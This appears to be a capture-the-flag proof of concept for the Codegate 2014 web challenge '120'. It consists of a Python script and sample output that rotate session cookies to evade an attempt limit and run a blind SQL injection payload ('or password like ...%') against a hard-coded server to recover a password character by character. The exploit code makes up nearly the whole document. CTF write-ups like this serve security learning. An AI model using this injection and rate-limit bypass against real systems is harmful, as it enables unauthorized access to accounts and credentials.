Codegate 2014 web "120" PoC

brute_server.py

#!/bin/env python3

import string
import urllib
from urllib.request import urlopen
import requests  # <- bitch (always URL-encodes POST data)

url = "http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php"
cookie_jar = []
cnt = 0
cnt_max = 120
password = ''


# Fetch 10 cookies (yummm!)
print("Obtaining PHPSESSID's:")
while cnt < 10:
    payload = {"password": "'+'{}%".format("")}
    r = requests.post(url, data=payload)
    print(r.cookies['PHPSESSID'])
    cookie_jar.append(r.cookies['PHPSESSID'])
    cnt += 1


print("Bruteforcing password:")

# Plug in the first cookie
cookie = iter(cookie_jar)
current_cookie = next(cookie)
print("Using cookie {}".format(current_cookie))


# Attempts allowed
cnt = 120


for i in range(30):  # password length is 30

    # a..z
    for ch in string.ascii_lowercase:

        # If there are not enough attempts -> supply another cookie
        if cnt == 1:
            current_cookie = next(cookie)
            print("Using cookie {}".format(current_cookie))
            cnt = 120

        print("Trying the next char: {}".format(ch))
        current_payload = \
            bytes("password='+or+password+like+'{}%".format(password + ch), 'ascii')

        #print("Payload: {}".format(current_payload))

        req = urllib.request.Request(url, current_payload)
        req.add_header('Cookie', "PHPSESSID={}".format(current_cookie))
        req.add_header('Content-Length', str(len(current_payload)))
        cnt -= 1
        response = urlopen(req)
        response_text = response.read()
        #print("Response: {}".format(response_text))

        if response_text.endswith(b"True"):

            password += ch

            print("Found next char {} (attempts left = {}, current password = {})".format(ch, cnt, password))

            break

Sample output:

$ python3 ./brute_server.py
Obtaining PHPSESSID's:
jijt9it52b6200ttp9vgtk3er6
4m06gr1k7h4rrso3q0shrdfv87
fcrnlh8hqfs8dhbimkgj6ma7q0
l1vbdh632odn8vlivpm2li9f41
edkoh110pt2gokca99q6tc4lf1
lkp2o4bslouk7q34oo94d87fr6
nnad3up8r76hj5brqoeb8cv9i4
o4n8k9d7qj24p4anuh3c6i3vr1
tsv0777i2ecuhteianrs676tc5
sn7887n566lg9d8ltji0tnss91
Bruteforcing password:
Using cookie jijt9it52b6200ttp9vgtk3er6
Trying the next char: a
Found next char a (attempts left = 119, current password = a)
...
...
...